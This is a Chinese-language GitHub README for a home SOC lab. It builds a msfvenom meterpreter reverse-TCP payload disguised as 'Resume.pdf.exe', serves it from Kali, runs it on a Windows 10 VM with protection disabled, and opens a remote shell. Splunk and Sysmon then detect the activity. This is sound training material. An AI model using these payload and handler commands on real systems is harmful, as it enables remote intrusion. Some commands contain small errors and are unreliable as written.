kiwimped/SOC-Home-Lab-Endpoint-Detection-Malware-Behavior-Analysis-Splunk-Sysmon-

GitHub: kiwimped/SOC-Home-Lab-Endpoint-Detection-Malware-Behavior-Analysis-Splunk-Sysmon-

该项目是一份详细的实操教程文档,指导用户在隔离虚拟环境中搭建恶意软件测试实验室,并利用 Splunk 与 Sysmon 实现端点威胁检测与行为分析。

Stars: 0 | Forks: 0

Screenshot 2026-06-29 150518# Home-Lab-Malware-Testing-W-Kali-Windows10-and-Splunk-w-Sysmon- 一份关于如何在 VMware Workstation Pro 上结合 Kali、Windows 10、Splunk 和 Sysmon 进行恶意软件测试的 readme 文档。 ## 前置条件 本项目涉及在 VMware Workstation Pro 中使用虚拟机运行 Kali 和 Windows 10 操作系统。 **在开始本项目之前,请务必为 KALI 和 Windows 10 虚拟机创建快照,以防出现错误。** 虚拟机内的软件: KALI 无需安装任何内容,因为它已经具备本项目所需的所有工具。 然而,Windows 10 需要安装 Splunk 和 Sysmon 等软件,用于项目的 SIEM 集成部分。 我建议观看 MyDFIR 的视频,了解如何在你的 Windows 10 虚拟机上安装这两款软件。 网络设置: 对于本项目,重要的是要知道这涉及恶意软件的创建和使用。因此,最好将你的虚拟机设置为 LAN segment 或仅主机网络,以防止恶意软件感染你的宿主机或互联网。 设置 LAN Segment 的步骤: 1. 右键点击你的虚拟机,进入设置 2. 点击网络部分,并点击 LAN segment 按钮 3. 点击添加,输入 LAN segment 的名称并按确定。选择你命名的 LAN segment,现在你应该准备好了 image 操作系统设置 对于 KALI: 1. 点击 WiFi 部分,进入连接设置, 2. 转到 IPv4 设置并添加你的自定义 IP。(设置为 192.168.x.x,将 x.x 替换为你选择的数字)(不要管子网掩码)(确保它与 Windows 虚拟机在同一网络中) 3. 选择你的 IP,并在终端中使用“ip a”命令进行确认。 对于 Windows: 1. 右键点击 WiFi 图标,点击“打开网络和 Internet 设置” 2. 向下滚动并点击“更改适配器选项” 3. 右键点击以太网选项并按属性 4. 找到 IPv4 设置并开启以设置 IP。(设置为 192.168.x.x,将 x.x 替换为你选择的数字)(不要管子网掩码)(确保它与 Kali 虚拟机在同一网络中:即 192.168.x.x) 5. 确认你的设置,转到终端并使用“ipconfig”命令 额外设置: **请务必在 Windows 10 虚拟机上启用远程桌面。** **请务必在 Windows 10 虚拟机上禁用实时保护。** **在开始项目之前,请务必安装 Splunk Sysmon add-on,因为之后任务的 SIEM 集成部分将会用到它。** ## 第 1 部分:Kali 设置 在 Kali 中,打开终端并使用命令“Nmap -A [Windows10IP] -Pn”来扫描端口。 你应该会注意到 TCP 3389 端口是开放的,因为我们将在测试中针对此端口。 Screenshot 2026-06-29 150518 在 Kali 终端中,输入 msfvenom -l payloads 以查看我们将用于此测试的 payload。对于此测试,我们将使用 meterpreter reverse tcp payload,因为它将允许我们通过 Kali 终端中的 shell 访问受害者的操作系统。 **msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=[Kali IP] lport=4444 -f exe -o Resume.pdf.exe ** 这会将恶意软件 payload 打包并创建为一个可执行文件。 在另一个终端中,在文件所在目录下使用命令 **file Resume.pdf.exe** 来执行它。 (此文件只会在 Windows 10 虚拟机上执行其 payload) 现在我们必须设置到受害者操作系统的连接,并使目标能够访问该文件。 在第一个终端中,使用命令 **msfconsole** 打开 Metasploit,然后使用 **use exploit/multi/handler** 进入 exploit handler 目录。 现在我们将设置 payload 和主机以启动恶意软件。使用 **set lhost [Kali IP]** 设置 lhost,并使用 **set payload windows/x64/meterpreter_reverse_tcp** 设置 payload。(我们可以使用 **options** 命令检查 handler) Screenshot 2026-06-29 151141 要运行 exploit,请输入 **exploit**。 现在我们必须设置一种让目标访问文件的方法,我们可以通过创建 python 或 apache Web 目录来让目标访问。 在另一个终端中输入 **python3 -m http-server 9999** 来设置 Web 目录。 现在 Kali 设置已完成。接下来是 Windows。 ## 第 2 部分:Windows 设置 **提醒:在进行任何进一步操作之前,请先禁用实时保护。** 打开你的浏览器(无论是 Chrome、Edge 或其他任何浏览器),并输入 **[Kali IP]:9999** 以访问 Web 目录。 你会注意到恶意软件文件会自动发送到你的下载页面,如果没有,你仍然可以从网页手动下载。 现在打开并运行你刚刚获取的“绝对安全”的文件,不管 Windows 10 给出的无数警告。 要检查它是否正在运行,以管理员模式打开 Windows 10 命令提示符并输入 **netstat -anob**。现在向上滚动,直到找到带有 4444 端口的 Kali 虚拟机 IP,它应该会显示已建立连接。 Screenshot 2026-06-29 153907 你可以检查任务管理器以查看正在运行的恶意软件。只需打开任务管理器,转到“详细信息”选项卡,并按端口号排序,直到找到你的恶意软件的 ID 编号。 image ## 第 3 部分:在 Kali 上测试恶意软件 在 Kali 上,你会注意到 Metasploit 终端发生了变化,你将获得一个新的命令行。这意味着 exploit 已被确认,Windows 10 虚拟机已被攻破,现在可能会受到黑客的影响。Windows 10 通常会将其识别为木马/间谍软件,允许黑客访问受害者的操作系统。 要测试它,请在新的命令行中输入 **shell**。现在你将进入 Windows 10 虚拟机的命令提示符(请记住使用 Windows 10 操作系统命令行中使用的命令)。 让我们输入 **Net user** 查看用户,输入 **Net localgroup** 查看组用户列表。 你甚至可以执行基本的目录命令,比如使用 **mkdir** 创建文件夹目录,或使用 **echo "" > file.txt** 创建文件。 **这展示了 reverse tcp 对未受保护的 Windows 10 操作系统来说是多么可怕和强大。** 此外,请务必从 Splunk 程序文件文件夹中复制 inputs.conf 文件。(如果 inputs.conf 不在 Splunk/etc/system/local 中,请从 default 文件夹中复制并粘贴它)。 请务必使用记事本编辑 inputs.conf 文件,并填入以下此链接中的 inputs.conf 详细信息: https://www.dropbox.com/scl/fi/620i6i0o4idzrtwlqp0qp/inputs.conf?rlkey=elni2v55mpzfab72qxr5wxk3s&e=1&dl=0 这将用于 Splunk 集成。 为了确认它,在 Windows 10 虚拟机上打开 services.msc,并在编辑 inputs.conf 文件后重启 Splunkd 服务。 ## 第 4 部分:SIEM 集成 在 Windows 10 虚拟机上,打开浏览器并转到你的 Splunk Enterprise 本地网页(应为 Localhost:8000)。 转到设置,然后点击索引,添加并保存一个名为 **endpoint** 的新索引。 转到 Splunk 的 Search 选项卡并搜索 **index=endpoint**。结合 Splunk 的 Sysmon add-on,你现在可以看到更详细的信息,如 EventCode、dest_port 和父进程。 现在在搜索栏中搜索 **index=endpoint Resume.pdf.exe**。 你会看到特定数量的事件。选择事件代码并选择 **Event code 1**。 Screenshot 2026-06-29 154624 在 process_id 中检查它们,找到与任务管理器中运行的 Resume.pdf.exe 文件的端口 ID 相匹配的端口,然后复制 process_guid 并搜索 **index=endpoint {[your process_guid]} | table _time,ParentImage,Image,CommandLine** 你会注意到你在 Kali 上执行的 Kali 恶意软件的命令行选项。 Screenshot 2026-06-29 155538 **[Disclaimer, I had trouble finding some cmd commands but I know that this is where you will notice them]** 这展示了 Splunk 如何能够记录和查看你自己网络上的事件,以发现可疑活动,这与安全运营中心 (SOC) 分析师和网络安全在现场的许多真实世界活动息息相关。 附加内容:如何安全拆除项目 在 Kali 上,退出 Metasploit 和 HTTP 服务器。你可以通过在 Metasploit 终端中使用 **sessions -l** 命令来确认恶意软件是否仍处于开启/关闭状态。 在 Windows 上,在任务管理器中结束 Resume.pdf.exe 的任务,并务必通过执行 **netstat -anob** 并查找 Kali IP 来检查 Kali 连接。 如果两者都已关闭并且没有显示,那么你应该是安全的。 但是为了格外小心,你可以恢复你在开始项目之前创建的快照。 对我来说,这个项目帮助展示了 SIEM 如何工作以监控和确定网络和系统的安全性的现实情况,同时也展示了恶意软件 payload 对你的系统可能造成的致命破坏力。
标签:DAST, IP 地址批量处理, 安全实验环境, 恶意软件分析, 文档教程, 虚拟化环境, 运维配置, 逆向工具